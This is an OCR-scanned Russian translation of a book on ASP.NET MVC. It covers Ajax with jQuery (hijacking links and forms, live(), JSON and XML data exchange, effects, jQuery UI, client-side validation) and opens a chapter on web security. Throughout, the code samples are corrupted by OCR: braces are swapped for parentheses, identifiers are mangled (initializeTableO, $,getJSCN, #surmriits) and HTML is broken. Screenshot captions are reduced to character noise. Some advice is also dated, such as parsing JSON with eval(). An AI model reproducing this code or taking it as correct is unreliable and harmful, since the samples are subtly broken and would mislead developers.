Каким же образом технология Ajax вписывается в мир ненавязчивого JavaScript? Естественно, код Ajax должен быть четко отделен от HTML-разметки, с которой он работает. Также, по возможности, приложение должно проектироваться так, чтобы оно приемлемо работало даже при отключенном JavaScript. Для начала создайте ссылки и формы, которые будут работать без JavaScript. Затем напишите сценарий, который перехватывает и модифицирует их поведение, когда поддержка JavaScript доступна.
Такой перехват и изменение поведения известен под названием захват (hijacking). Некоторые даже называют это Ajax-захватом (hijaxing), поскольку обычно главная цель состоит в добавлении функциональности Ajax. В отличие от большинства разновидностей захвата, эта не несет в себе ничего отрицательного.
Захват ссылок
Давайте вернемся к предыдущему примеру сетки и добавим к ней разбиение на страницы. Сначала следует спроектировать поведение, не предусматривающее включенную поддержку JavaScript. Это довольно просто — добавьте необязательный параметр раде к методу действия Submit () и выберите запрашиваемую страницу данных:
430 Часть II. ASP.NET MVC во всех деталях
private const int PageSize = 3;
public ViewResult Summits(int? page) {
ViewData["currentPage"] = page ?? 1;
ViewData["totalPages"] = (int)Math.Ceiling(l.O * mountainData.Count / PageSize); var items = mountainData.Skip(((page ?? 1) - 1) * PageSize).Take(PageSize); return View(items);
}
Теперь можно обновить шаблон представления для визуализации ссылок на страницы. Здесь будет повторно использоваться вспомогательный метод Html.PageLinks (), созданный в главе 4 (чтобы сделать его доступным, обратитесь за инструкциями в раздел “Отображение ссылок на страницы’’ главы 4). После этого можно визуализировать ссылки на страницы:
<h2>The Seven Summits</h2>
<div id="summits">
<table>
<!— ... оставить без изменений ... -->
</table>
Page:
<%= Html.PageLinks((int)ViewData["currentPage"] ,
(int)ViewData["totalPages"],
i => Url.Action("Summits”, new ( page = i }) ) %>
</div>
<pXi>This page generated at <%= DateTime.Now.ToLongTimeStringO %></iX/p>
Для того чтобы видеть, когда работает (или не работает) Ajax, была добавлена временная метка. Окно браузера при отключенной поддержке JavaScript показано на рис. 12.10.
' ntt₽:;7localbti£523I5/
http://local host5 2316/
The Seven Summits
The Seven Summits
Item
Height (js) .Artiens
Everest
8848
' Delete
5895
Aconcagua
6962
[ Delete
Mount.
: McKidey
6194
Oeleu
ГЕ15ОП:
af 4892
Ll
page generated. at 14:22:37
Page:
Ths page generated at 14:23:0s

V
2
IlGight fm) Actions
Рис. 12.10. Простое поведение постраничного вывода серверной стороны (при отключенной поддержке JavaScript)
Как видите, временные метки слегка отличаются, потому что каждая из трех страниц генерируется в разное время. Также обратите внимание, что оформление полосами строк сетки исчезло вместе с другими поддерживаемыми jQuery расширениями (это очевидно, поскольку поддержка JavaScript отключена). Тем не менее, базовое поведение работает.
Выполнение частичных обновлений страницы
Теперь, имея работающую реализацию без сценариев, наступило время обратиться к базовым возможностям Ajax. Мы позволим посетителю перемещаться между страницами сетки без полного обновления страницы. При каждом щелчке на страничной ссылке соответствующая страница будет извлекаться и отображаться асинхронно.
Глава 12. Ajax и сценарии клиента 431
Для выполнения частичного обновления страницы с помощью JQuery перехватим событие click ссылки, получим целевой URL асинхронно, используя вспомогательный метод $ . get (), извлечем необходимую часть ответа и вставим ее в документ посредством . replacewith (). Несмотря на сложность формулировки, код, необходимый для применения ко всем ссылкам, соответствующим селектору, выглядит очень просто:
$("#summits А") .click(function() {
$.get($(this).attr("href"), function(response) {
$("#summits").replacewith($("#summits", response));
}) ;
return false;
});
Обратите внимание, что обработчик click возвращает false, не давая браузеру возможности выполнять традиционную навигацию на целевой URL ссылки. Также имейте в виду, что в с версией jQuery 1.3.2 связана одна причуда, которую может понадобиться обойти9, в зависимости от того, как структурирован HTML-документ. Результат показан на рис. 12.11.
Рис. 12.11. Первая попытка разбиения на страницы средствами Ajax. Обратите внимание на ошибки
Как видите, происходит что-то странное. Первый щелчок был обработан асинхронно (временная метка не изменилась), хотя по какой-то причине исчезло оформление полосами. По второму щелчку страница даже не была извлечена асинхронно (зто видно по измененной временной метке). Что случилось?
На самом деле все совершенно закономерно: оформление полосами (и прочее поведение, обеспечиваемое jQuery) добавляется только при первой загрузке страницы, поэтому не применяется ни к каким новым элементам, извлеченным асинхронно. Аналогично ссылки страниц обрабатываются только при первой загрузке страницы, поэтому второй набор ссылок страниц уже не имеет поддержки Ajax. Вот и развеялась вся магия!
К счастью, зарегистрировать поведение, усиленное JavaScript, довольно легко несколько другим способом, чтобы оно оставалось в силе даже при изменении модели DOM.
9 Элемент, который получается в ответ на вызов $ ("#summits", response), не должен быть непосредственным дочерним элементом для <body>, иначе он не будет найден. Эта проблема возникает редко, но если понадобится найти элемент верхнего уровня, то следует применить код $ (response) .filter("div#summits").
432 Часть II. ASP.NET MVC во всех деталях
Использование функции live () для сохранения поведения
после частичных обновлений страницы
Функция live () из jQuery позволяет регистрировать обработчики событий так. что они применяются не только к соответствующим элементам в начальной модели DOM, но также и к соответствующим элементам при каждом обновлении DOM. Это позволит решить проблему с пропаданием поведения, обеспечиваемого JQueiy.
Начнем с выноса поведения строк таблицы в функцию по имени initializeTableO:
<script type="text/j avas cript">
$ (function () {
initializeTableO ;
// Поместить здесь остальные виды поведения (например, добавление
// флажка Show heights и захват ссылок на страницы) });
function initializeTableO {
// Оформление полосами
$ ("#surmriits tr:even") .addClass("alternate");
// Подтверждение удаления
$("# summits form [action$=' /Deleteltem' | ") . submit (function () {
var itemText = $("input[name-'item1]", this).val(); return confirm("Are you sure you want to delete '" + itemText + "'?") ;
}) ;
}
</script>
Затем модифицируйте код захвата так, чтобы обработчик события щелчка регистрировался с использованием live (), и заставьте его вызывать initializeTable () после каждого обновления DOM:
$ ("#suiranits А") . live ("click" , function() {
$.get($(this).attr("href"), function(response) {
$("#summits").replaceWith($("#summits", response));
// Заново применить поведение строк таблицы initializeTableO ;
// Учесть состояние флажка Show heights
if (!$("#heights")[0].checked)
$ ("#sununits td:nth-child(2) ") .hide() ;
}); return false;
}) ;
Этот код сохраняет' все модифицированное поведение, включая поведение ссылок и отображение столбца Heights (Высоты), независимо от того, сколько раз посетители будут переключаться между страницами. Текущее поведение приложения проиллюстрировано на рис. 12.12.
Совет. Если вы часто пользуетесь методом live (), то обратите внимание на подключаемый модуль liveQuery (plugins.jquery.com/project/livequery), который делает зтот метод более мощным. При наличии этого подключаемого модуля предыдущий код несложно упростить, исключив метод initializeTable О и просто объявив, что все поведение должно сохраняться независимо от изменений модели DOM.
Глава 12. Ajax и сценарии клиента 433
Рис. 12.12. Разбиение на страницы с помощью Ajax теперь работает правильно
Дальнейшая оптимизация
До сих пор получалось добавлять усовершенствования, предлагаемые Ajax, даже не затрагивая код серверной стороны. Довольно впечатляюще: только представьте, насколько можно улучшить унаследованные приложения, просто добавив несколько операторов jQuery! При этом вносить изменения в код серверной стороны не понадобится.
Однако в данный момент мы поступаем несколько расточительно в отношении пропускной способности и времени процессора. Каждый раз, когда выполняется частичное обновление страницы, сервер генерирует и передает по сети всю страницу целиком, даже несмотря на то, что клиента интересует только небольшая ее часть. Самый аккуратный способ справиться с этим в ASP.NET MVC предусматривает вынесение обновляемой части полного представления в частичное представление по имени SummitsGrid. После этого можно проверить, поступил ли текущий запрос через вызов Ajax, и если да, визуализировать и вернуть только частичное представление. Например:
public ActionResult Summits(int? page) {
ViewData["currentPage"] = page ?? 1;
ViewData["totalPages"] = (int)Math.Ceiling(1.0*mountainData.Count/PageSize); var items = mountainData.Skip(((page ?? 1) - 1) * PageSize).Take(PageSize); if(Request.IsAjaxRequest())
return View("SummitsGrid", items); // Частичное представление else
return View (items) ;	// Полное представление
}
jQuery всегда добавляет HTTP-заголовок X-Requested-With, поэтому в методе действия можно использовать Request. IsAjaxRequest () для различения обычных синхронных запросов и асинхронных запросов Ajax. Кроме того, обратите внимание, что ASP.NET MVC может визуализировать одиночное частичное представление так же просто, как и полное представление. Готовый пример с примененной оптимизацией можно найти в загружаемом коде для зтой книги.
Захват форм
Иногда нужно захватить не просто ссылку, а целиком отправленную форму <form>. Вы уже видели, как это делается с помощью вспомогательного метода A j ах. BeginForm. () из ASP.NET MVC. Это означает, например, возможность построения формы, которая позволяет задать набор параметров поиска, выполнить отправку и отобразить результат без полностраничного обновления. Естественно, если поддержка JavaScript отключена,
434 Часть II. ASP.NET MVC во всех деталях
то посетитель все равно должен получить результаты, но с традиционным полностраничным обновлением. Другим примером может случить применение формы для запроса у сервера специфичных, отличных от HTML данных, таких как текущие цены товаров в формате JSON, без необходимости полностраничного обновления.
Рассмотрим очень простой пример. Предположим, что на одну из страниц требуется добавить поле для просмотра биржевых котировок. В контроллере под названием Stocks может быть определен метод действия по имени GetQuote ():
public class StocksController : Controller
{
public string GetQuote(string symbol)
(
// Очевидно, что здесь можно сделать что-нибудь более полезное if (symbol == "GOOG") return "$9999";
else
return "Sorry, unknown symbol"; // Неизвестный символ }
}
В шаблон представления понадобится вставить следующую порцию разметки:
<h2>Stocks</h2>
<% using(Html.BeginForm("GetQuote", "Stocks")) { %>
Symbol:
<%= Html.TextBox("symbol") %>
<input type="submit" />
<span id="results"x/span>
<% } %>
<p><i>This page generated at <%= DateTime.Now.ToLongTimeString() %X/iX/p>
Теперь к форме очень легко добавить поддержку Ajax, как показано ниже (не забудьте сослаться на jQueiy и зарегистрировать этот код, чтобы он запускался после загрузки модели DOM):
$("form[action$='GetQuote']").submit(function() {
$.post($(this).attr("action"), $(this).serialize(), function(response) { $("#results").html(response);
});
return false;
});
Этот код находит любой элемент <form>, который будет отправлять данные на URL. заканчивающийся строкой GetQuote, и перехватывает его событие submit. Обработчик выполнит асинхронный HTTP-запрос POST по URL исходного действия формы, отправляя данные формы обычным образом (сформатированные для HTTP-запроса с помощью $ (this) . serialize () ), и поместит результат в элемент <span> с идентификатором results. Как обычно, обработчик события возвращает false , чтобы форма не отправлялась традиционным способом. В результате получится поведение, показанное на рис. 12.13.
На заметку! Этот пример не обеспечивает сколько-нибудь удовлетворительное поведение для клиентов с отключенной поддержкой JavaScript. Для таких клиентов вместе с биржевой котировкой заменяется вся страница. Чтобы обеспечить поддержку клиентов подобного рода, можно изменить GetQuote () так, чтобы в случае возврата методом Request. I sAj axRequest () значения false HTML-страница визуализировалась целиком.
Глава 12. Ajax и сценарии клиента 435
Рис. 12.13. Захваченная форма вставляет результат в модель DOM
Передача данных между клиентом и сервером в формате JSON
Часто браузеру требуется передать более, чем простую единицу данных. Что если необходимо отправить объект, массив объектов или целый граф объектов? Для этой цели идеально подходит формат данных JSON (JavaScript Object Notation — объектная нотация JavaScript; www. j son. org/) : он более компактный, чем предварительно сформа-тированный HTML или XML, и естественным образом распознается любым браузером, поддерживающим JavaScript. В ASP.NET MVC имеется специальная поддержка для передачи данных JSON, а в JQuery — для их получения. Верните из метода действия объект JsonResult, передав ему для преобразования объект .NET, например:
public class StockData
{
public decimal OpeningPrice { get; set; } public decimal ClosingPrice { get; set; } public string Rating { get; set; }
}
public class StocksController : Controller {
public JsonResult GetQuote(string symbol) {
// Здесь можно было бы извлечь некоторые реальные данные if(symbol == "GOOG")
return new JsonResult { Data = new StockData {
OpeningPrice = 556.94M, ClosingPrice = 558.20M, Rating = "A+" } };
else return null;
}
}
Приведенный выше метод действия передает следующую строку:
{"OpeningPrice":556.94,"ClosingPrice":558.2,"Rating":"А+"}
Это формат представления объектов, принятый в JavaScript. На самом деле он является исходным кодом JavaScript10.
10 Точно так же new { OpeningPrice = 556.94М, Closingprice = 558.20М, Rating = "A+" } представляет собой исходный код С#.
436 Часть II. ASP.NET MVC во всех деталях
ASP.NET MVC конструирует эту строку с использованием API-интерфейса .NET под названием System. Web. Script. Serialization. JavaScript Serialize г, передавая ему объект StockData. JavaScriptSerializer применяет рефлексию для идентификации свойств объекта и затем визуализирует его в формате JSON.
На заметку! Хотя объекты .NET могут содержать как данные, так и код (т.е. методы), их JSON-представление включает только данные — методы опускаются. Простого способа для трансляции кода .NET в код JavaScript не существует.
На стороне клиента можно было бы извлечь строку JSON, используя $ . get () или $ .post (), и затем разобрать ее в объект JavaScript вызовом eval () п. Однако существует и более простой путь: jQuery имеет встроенную поддержку извлечения и разбора данных JSON с помощью функции под названием $ . get JSON (). Модифицируйте шаблон представления следующим образом:
<h2>Stocks</h2>
<% using(Html.BeginForm("GetQuote", "Stocks")) { %>
Symbol:
<%= Html.TextBox("symbol") %>
<input type="submit" />
<% } %>
<table>
<trXtd>Opening price :</tdXtd id="openingPrice"X/tdX/tr>
<trXtd>Closing price:</tdXtd id=”closingPrice"X/tdX/tr> <trXtd>Rating: </tdXtd id=" stockRating"X/tdx/tr>
</table>
<pXi>This page generated at <%= DateTime.Now.ToLongTimeStringO %></i></p>
Затем измените код для отображения каждого свойства StockData в соответствующей ячейке таблицы:
$("form[action$='GetQuote']")•submit(function() {
$,getJSCN($(this).attr("action"), $(this).serialize (), function(StockData) {
$("#openingPrice").html(StockData.OpeningPrice);
$("#closingPrice").html(StockData.ClosingPrice);
$("tfstockRating").html(StockData.Rating);
}); return false;
});
В результате будет построено поведение, показанное на рис. 12.14.
Совет. $.getjson () — очень простая вспомогательная функция. Она может выдавать только HTTP-запросы GET (но не POST) и не предусматривает никаких средств для обработки ошибок передачи данных (например, если сервер вернет null). Если требуется более тонкий контроль, обратитесь к более мощной функции jQuery $ .ajax (). Она позволяет использовать любой HTTP-метод, поддерживает гибкую обработку ошибок, может управлять поведением кэширования и также автоматически разбирать ответы JSON, если указано dataType: "json" в качестве одного из необязательных параметров. Она также поддерживает протокол JSON для междоменного извлечения данных JSON.
11 Строку JSON понадобится поместить в скобки, например, так: eval (" (" + str + ")"). Если этого не сделать, возникнет приводящая в замешательство ошибка “Invalid Label” (неверная метка).
Глава 12. Ajax и сценарии клиента 437
Рис. 12.14. Извлечение и отображение структуры данных JSON
При интенсивном использовании JSON в приложении сервер может восприниматься как коллекция веб-служб12 JSON, а браузер — как механизм, полностью ответственный за построение пользовательского интерфейса. Это вполне корректная архитектура для современного веб-приложения (если предположить, что поддержка клиентов с отключенным JavaScript не нужна). В этом случае получается выигрыш от мощи и прямолинейности ASP.NET MVC, но полностью игнорируется механизм представлений.
Выборка данных XML с использованием jQuery
По желанию во всех рассмотренных ранее примерах вместо формата JSON можно использовать XML. При извлечении данных XML проще применять jQueiy-функцию $ . a j ах () (вместо $ . get ()), потому что $ . a j ах () позволяет использовать специальную опцию dataType: "xml", которая заставляет разбирать ответ как XML.
Сначала необходимо вернуть данные в формате XML из метода действия. Например, модифицируйте предыдущий метод GetQuote (), как показано ниже, используя ContentResult для установки корректного заголовка content-type:
public ContentResult GetQuote(string symbol)
{
// Вернуть некоторые данные XML в виде строки
if (symbol == "GOOG") { return Content(
new XDocument(new XElement("Quote",
new XElement("OpeningPrice", 556.94M),
new XElement("ClosingPrice", 558.20м), new XElement("Rating", "A+")
) ) . ToString ()
, System.Net.Mime.MediaTypeNames.Text.Xml);
}
else
return null;
}
12 Здесь термин веб-служба используется для обозначения всего, что отвечает на НТТР-запрос, возвращая данные (например, метод действия, возвращающий JsonResult, некоторый XML-код или любая строка). В ASP.NET MVC любой метод действия можно рассматривать как веб-службу. Если планируется работать со службой только с использованием запросов Ajax, то нет причин связываться со сложностями протокола SOAP, файлов ASMX и описаний WSDL.
438 Часть II. ASP.NET MVC во всех деталях
Для параметра GOOG этот метод действия произведет следующий вывод:
<Qucte>
<OpeningPrice>556.94</OpeningPrice>
<ClosingPrice>558.20</ClosingPrice>
<Rating>A+</Rating>
</Quote>
Теперь нужно сообщить библиотеке JQuery, что получаемый ею ответ должен интерпретироваться как XML, а не простой текст или JSON. Разбор ответа в виде XML обеспечивает возможность использования самой jQuery для извлечения данных из результирующего XML-документа. Например, измените обработчик отправки формы из предыдущего примера следующим образом:
$("form[action$='GetQuote']").submit(function() {
$.aj ax({ url: $(this).attr("action"), type: "GET", data: $(this).serialize(), dataType: "xml", // Инструкция разбирать ответ как XMLDocument success: function(resultXml) {
// Дополнительные данные из XMLDocument с использованием селекторов jQuery var opening = $("OpeningPrice", resultXml),text();
var closing = $("ClosingPrice", resultXml) . text () ;
var rating = $("Rating", resultXml),text();
// Использовать данные для обновления модели DOM
$("#openingPrice").html(opening);
$("#closingPrice").html(closing);
$("#stockRating").html(rating);
)
});
return false;
));
Теперь приложение ведет себя точно так же, как было при отправке данных в формате JSON (рис. 12.12), за исключением того, что данные передаются в виде XML. Тем не менее, большинство веб-разработчиков предпочитают иметь дело с форматом JSON, поскольку он более компактный и читабельный. К тому же работа с JSON означает уменьшение объема код, который придется писать, так как ASP.NET MVC и jQuery обеспечивают более аккуратный синтаксис для генерации и разбора.
Анимация и другие графические эффекты
До недавнего времени большинство веб-разработчиков благоразумно избегали забавных графических эффектов наподобие анимации, кроме как при использовании Adobe Flash. Причина в том, что средства анимации DHTML примитивны (по меньшей мере) и никогда не работают достаточно согласованно в разных браузерах. Всем нам не раз доводилось наблюдать чудовищно любительские “специальные эффекты” DHTML, которые работали из рук вон плохо. 11астоящие профессионалы старались избегать их.
Однако с появлением в 2005 г. библиотеки script.aculo.us стали возможными удобные и приятные визуальные эффекты, которые корректно работают во всех популярных браузерах, и эта тенденция изменилась13.
13 Библиотека script. aculo. us основана на JavaScript-библиотеке Protoiype, которая во многом обладает теми же возможностями, что и jQuery. Более подробные сведения доступны по адресу http: / /script.aculo .us/.
Глава 12. Ajax и сценарии клиента 439
Библиотека jQuery также не отстала в этом отношении: в ней реализованы базовые эффекты вроде постепенного появления и исчезновения, плавного перемещения, сжатия и растягивания элементов и т.п., причем все это доступно через краткий и простой API-интерфейс. При разумном использовании с помощью этих средств можно добавить профессиональные штрихи к интерфейсу всб-приложения.
Самое замечательное то, насколько легко это делается. Достаточно лишь получить упакованный набор и применить один или более вспомогательных методов “эффектов”, таких как . f adeln () или . fadeOut (). Например, возвращаясь к предыдущему примеру с биржевыми котировками, можно было бы записать так:
$("form[action$='GetQuote1]").submit(function() (
$.getJSON($(this).attr("action"), $(this).serialize(), function(StockData) {
$("#openingPrice").html(StockData.Openingprice).hide().fadeln();
$("#closingPrice").html(StockData.ClosingPrice),hide(),fadeln();
$("#stockRating").html(StockData.Rating),hide().fadeln();
)) ;
return false;
));
Обратите внимание на необходимость сокрытия элементов (например, с помощью hide ()) перед тем постепенным их появлением. Теперь данные биржевых котировок появляются в представлении постепенно, а не внезапно, предполагая, что браузер поддерживает свойство непрозрачности.
Помимо готовых эффектов появления и перемещения, библиотека JQuery предлагает мощный метод анимации общего назначения под названием .animate (). Этот метод позволяет плавно анимировать любые числовые стили CSS (width, height, fontsize и т.п.), например:
$(selector).animate({fontsize : "10em"), 3500); // Эта анимация займет 3,5 секунды
Для выполнения анимации определенных нечисловых стилей CSS (например, цвета фона, чтобы получить известный в Web 2.0 эффект постепенного затухания желтого) понадобится получить официальный подключаемый модуль jQuery под названием Color Animations (http: //plugins . j query. com/pro j ect/color).
Предварительно построенные графические элементы jQuery UI
Десятилетие назад, когда платформа ASP.NET WebForms пока только задумывалась, предполагалось, что веб-браузеры слишком непредсказуемы, чтобы обрабатывать какого-либо рода сложное взаимодействие клиентской стороны. Вот почему, например, исходный элемент выбора даты WebForms <asp: calendar» визуализирует себя в виде простой HTML-разметки, вызывая полный цикл обмена с сервером всякий раз, когда его разметка нуждается в изменении. В те времена это предположение было в значительной мере верным, но сегодня оно определенно устарело.
В наши дни код серверной стороны более сосредоточен на реализации прикладной и бизнес-логики, визуализируя простую HTML-разметку (или даже в основном выполняя функции веб-службы JSON или XML). Это дает возможность построить развитую интерактивность на стороне клиента, выбирая любое из множества доступных средств создания пользовательских интерфейсов, независимых от платформы, как с открытым исходным кодом, так и коммерческих. Например, существуют сотни чисто клиентских элементов управления для выбора даты, которые можно использовать, включая встроенные в библиотеки jQuery и ASP.NET AJAX. Поскольку они выполняются в браузере, они могут адаптировать свое отображение и поведение к поддерживаемому браузером
440 Часть II. ASP.NET MVC во всех деталях
API-интерфейсу, который обнаружат во время выполнения. Идея серверного элемента управления для выбора даты теперь устарела; очень скоро то же самое можно будет сказать о сложных табличных элементах управления серверной стороны. Мы наблюдаем все более четкое разделение ответственности между серверной и клиентской стороной.
Проект JQuery UI (http: / /ui . j query. com/), построенный на основе jQuery, предлагает хороший набор многофункциональных элементов управления, которые отлично работают с ASP.NET MVC, включая меню, средства выбора дат, диалоговые окна, ползунки и панели с вкладками. В нем также доступны абстракции, помогающие создавать межбраузерные интерфейсы с возможностью перетаскивания.
Пример: сортируемый список
Функция .sortable () из библиотеки jQueiy UI позволяет организовать сортировку с перетаскиванием для всех дочерних злементов по отношению к заданному. Имея представление шаблона, строго типизированное для IEnumerable<MountainInfo>, сортируемый список организовать несложно:
<b>Quiz:</b> Can you put these mountains in order of height (tallest first)?
<div id—"summits">
<% foreach(var mountain in Model) { %>
<div class="mountain"><%= mountain.Name %></div>
<% } %>
</div>
<script>
$(function() {
$ ("#summits") . sortable () ;
});
</script>
На заметку! Чтобы приведенный выше код работал, понадобится загрузить и установить ссылку на библиотеку jQuery UI. Зайдите на веб-сайт проекта http: //ui . j query. com/ и щелкните на ссылке Build custom download (Построить специальную загрузку) для получения единственного файла . j s, который включает модули UI Core и Sortable (и другие модули, которые вы решили использовать). Добавьте полученный файл в папку /Scripts и установите ссылку на него из мастер-страницы или страницы представления ASPX.
Это позволит посетителю перетаскивать элементы div, размещая их в другом порядке, как показано на рис. 12.15.
Рис. 12.15. Функция .sortable () из библиотеки jQuery UI в действии
Глава 12. Ajax и сценарии клиента 441
Посетитель может просто перетаскивать рамки с элементами вверх и вниз, и каждый раз, отпуская кнопку мыши, они будут выравниваться по отношению к своим новым соседям. Чтобы отправить обновленный отсортированный список обратно серверу, добавьте форму <form> с кнопкой отправки и перехватите событие submit:
<% using(Html.BeginForm()) ( %>
<%= Html.Hidden("chosenOrder") %>
cinput type="submit" value="Submit your answer" />
<% } %>
<script>
$ (function () (
$("form").submit(function() ( var currentorder =
$("#summits div.mountain").each(function() { currentorder += $(this). text() + "I";
J);
$("#chosenOrder").val(currentorder);
}) ;
});
</script>
В момент отправки формы обработчик события submit заполняет скрытое поле chosenOrder строкой, которая содержит названия гор, разделенные вертикальной чертой, в соответствии с текущим порядком сортировки. Эта строка, естественно, отправляется серверу как часть данных в HTTP-запросе POST14.
Реализация проверки достоверности на стороне клиента с помощью jQuery
Существуют сотни подключаемых модулей для библиотеки jQuery. Один из наиболее популярных —jQuery.Validate — позволяет добавлять к формам логику проверки достоверности на стороне клиента. Для его использования понадобится загрузить файл j query. validate. j s по адресу plugins . j query. com/p reject/validate и поместить этот файл в папку /Scripts. Далее следует сослаться на него в дескрипторе <script> ниже основного дескриптора <script> со ссылкой на jQuery.
Предположим, что имеется следующая форма для ввода данных:
<h2>Pledge Money to Our Campaign</h2>
<p>With your help, we can eradicate the &lt;blink&gt; tag forever.<p>
<% using(Html.BeginForm ()) ( %>
<div>
Your name: <%= Html.TextBox("pledge.SupporterName") %>
</div>
<div>
Your email address: <%= Html.TextBox("pledge.SupporterEmail")%> </div> <div>
Amount to pledge: $<%= Html.TextBox("pledge.Amount")%>
</div>
<pxinput type="submit" /></p>
<% } %>
14 В качестве альтернативы можно использовать функцию . sortable ("serialize") из библиотеки JQuery UI, которая визуализирует строку, представляющую текущий порядок сортировки. Однако на самом деле это менее удобно, чем ручной подход, продемонстрирован-11ый в примере.
442 Часть II. ASP.NET MVC во всех деталях
Для того чтобы поручить модулю jQuery.Validate проверку достоверности формы на стороне клиента, необходимо указать правила и дополнительно определить специальные сообщения об ошибках:
<script type="text/javascript">
$( function () {
$("form”) .validate ({
errorclass: "field-vai idation-error", rules: {
"pledge.SupporterName": ( required: true, maxlength: 50 }, "pledge.SupporterEmail": ( required: true, email: true ), "pledge.Amount": ( required: true, min: 10 } }, messages: {
"pledge. Amount": ( min: "Come on, you can give at least $10.00!" } }
})
1);
</script>
Теперь пользователь не сможет отправить форму, пока введенные им данные не будут соответствовать заданным условиям. Сообщения об ошибках будут появляться (рис. 12.16) и исчезать по мере устранения пользователем соответствующих проблем. За дополнительной информацией о множестве правил и опций, поддерживаемых jQuery. Validate, обращайтесь к документации по адресу docs. jquery. com/Plugins/Validation.
bdex - Internet Explorer	5	1
-4	‘ http?'Viocalh&sb53447:'	▼ j *? j X ’>
I	"!
j Pledge Money to Our Campaign	i
| With your help. we can eradicate the <bfink> tag forever.
I Your паше: Steve
Your email address: й s a secret	Please enter a valid email address,.
I Amount to pledge: $ 5 00	Come oil vgu can егге at least S1O.QO?
__________, ' * !
f Submit Query	’
Рис. 12.16. Проверка достоверности на стороне клиента препятствует отправке формы
Внимание! Проверка достоверности на стороне клиента — это не что иное, как удобное поведение для пользователей. Гарантировать, что правила клиентской стороны будут соблюдены, нельзя, поскольку пользователи могут просто отключить поддержку JavaScript в своих браузерах или обойти проверку другим способом, как описано в главе 13. Чтобы гарантировать соблюдение правил, проверка достоверности также должна быть реализована и на стороне сервера.
Такой подход хорошо согласуется с любыми стратегиями проверки достоверности серверной стороны, которые рассматривались в предыдущей главе. Недостаток его состоит в том, что приходится описывать одни и те же правила проверки достоверности по два раза: один раз на сервере, на языке С#, и второй — на клиенте, на JavaScript. Не правда ли, было бы здорово, чтобы правила клиентской стороны выводились авто
Глава 12. Ajax и сценарии клиента 443
матически из правил серверной стороны? В главе 11 описан способ реализации этого за счет декларативного представления подмножества правил на стороне сервера в виде атрибутов. Это сокращает рабочую нагрузку и позволяет избежать нарушения принципа “не повторяться”.
Подведение итогов по jQuery
Если вы впервые увидели jQuery в действии, то есть надежда, что ваше представление о JavaScript изменится. Создание изощренного взаимодействия на стороне клиента, которое поддерживается во всех популярных браузерах (с незначительными ухудшениями при отключенной поддержке JavaScript) — задача непростая, но здесь все получается естественным образом.
jQuery хорошо работает с платформой ASP.NET MVC, потому что последняя не вмешивается в структуру HTML-разметки или в идентификаторы элементов, и здесь не происходит автоматических обратных отправок, которые нарушили бы динамически созданный пользовательский интерфейс. Подход MVC, предполагающий возврат к основам, здесь в действительности окупается.
jQuery — не единственная популярная библиотека JavaScript с открытым исходным кодом (хотя похоже, в настоящее время она завоевала максимум сторонников). Можно также попробовать библиотеки Prototype, MooTools, Dojo, Yahoo User Interface Library (YU1) или Ext JS — все они прекрасно сочетаются с ASP.NET MVC. причем допускается одновременное использование более одной из них. Каждая библиотека характеризуется своими сильными сторонами: так, например. Prototype расширяет объектно-ориентированные средства программирования JavaScript, в то время как Ext JS предлагает невероятно многофункциональные и красивые графические элементы пользовательского интерфейса. Dojo поддерживает аккуратный API-интерфейс для автономного хранилища данных на стороне клиента. И, конечно же, все эти проекты имеют привлекательные веб-сайты в стиле Web 2.0 с массой кривых, градиентов и кратких высказываний.
Резюме
В этой главе были показаны два основных пути реализации функциональности Ajax в приложении ASP.NET MVC. Сначала рассматривались встроенные в ASP.NET MVC вспомогательные методы Ajax. *, которые очень легко использовать, но которые обладают ограниченными возможностями. Затем был дан обзор библиотеки jQuery, которая является невероятно мощной, но требует хороших знаний JavaScript.
К этому моменту вы изучили почти все средства MVC Framework. Осталось еще понять, каким образом ASP.NET MVC вписывается в более общую картину, в частности, как развернуть приложение на реальном веб-сервере и как интегрировать его с основными средствами платформы ASP.NET. Рассмотрение этих вопросов начнется в следующей главе, где будут описаны ключевые моменты безопасности, о которых следует знать каждому разработчику веб-приложений с помощью ASP.NET MVC.
ГЛАВА 13
Безопасность и уязвимость
Не обладая солидным знанием проблем безопасности веб-приложений на уровне запросов и ответов HTTP, вряд ли можно достигнуть многих высот в веб-разработке. Все веб-приложения потенциально уязвимы для известного множества атак, в том числе межсайтовыми сценариями (cross-site scripting — XSS), межсайтовой подделкой запросов (cross-site request forgery — CSRF) и внедрением кода SQL (SQL injection). Однако этим угрозам можно противостоять, если хорошо понимать их суть.
К счастью, платформа ASP.NET MVC не привносит с собой существенно новые риски относительно безопасности. Для нее характерен простой и ясный подход к обработке HTTP-запросов и генерации ответов HTML, так что оснований для каких-либо опасений не должно быть.
В начале этой главы будет показано, насколько легко конечным пользователям манипулировать HTTP-запросами (например, модифицируя cookie-наборы или скрытые либо отключенные поля форм), что должно способствовать более глубокому пониманию проблем безопасности веб-приложений. После этого вы узнаете обо всех наиболее вероятных направлениях атак, включая то, как они работают и каким образом применяются к ASP.NET MVC. Вы научитесь блокировать каждую из этих атак, а также исключать их еще на этапе проектирования. В завершение главы рассматривается несколько вопросов безопасности, специфичных для MVC Framework.
На заметку! Эта глава посвящена основам безопасности веб-приложений. Здесь не рассматриваются средства контроля доступа, такие как пользовательские регистрационные записи и роли — за сведениями об этом обращайтесь к главе 9, где описывается фильтр [Authorize], и к главе 15, в которой рассказывается о базовых средствах аутентификации и авторизации платформы ASP.NET.
Все вводимые данные могут быть подделаны
Прежде чем приступить к рассмотрению ‘’реальных” векторов атак, давайте пройдемся по целому классу простейших, тем не менее, широко распространенных уязвимостей. Их можно было бы охарактеризовать одной фразой: не доверять пользовательскому вводу.
Глава 13. Безопасность и уязвимость 445
Ниже перечислены категории пользовательского ввода, который не заслуживает доверия.
•	Входящие URL (включая значения Request. Querystring [ ]).
•	Данные форм (т.е. значения Request. Form [ ], в том числе скрытые и отключенные поля).
•	Cookie-наборы.
•	Данные из других HTTP-заголовков (подобных Request .UserAgent и Request. UrlReferrer).
В общем случае пользовательский ввод включает все содержимое любого входящего HTTP-запроса (протоколу HTTP посвящена врезка “Краткое описание работы протокола HTTP”). Это вовсе не означает, что следует отказаться от использования cookie-наборов или строки запроса; это значит лишь, что при проектировании приложения безопасность не должна полагаться на то, что пользователям будет невозможно (или трудно) манипулировать данными cookie-наборов или скрытых полей формы.
Краткое описание работы протокола HTTP
Разработчик веб-приложений, регулярно читающий специальную литературу, должен хорошо знать, что собой представляют HTTP-запросы: как выглядят запросы GET и POST, каким образом передаются cookie-наборы и как в действительности происходит взаимодействие между браузерами и веб-серверами. В качестве напоминания ниже приведены краткие сведения о протоколе HTTP.
Простой запрос GET
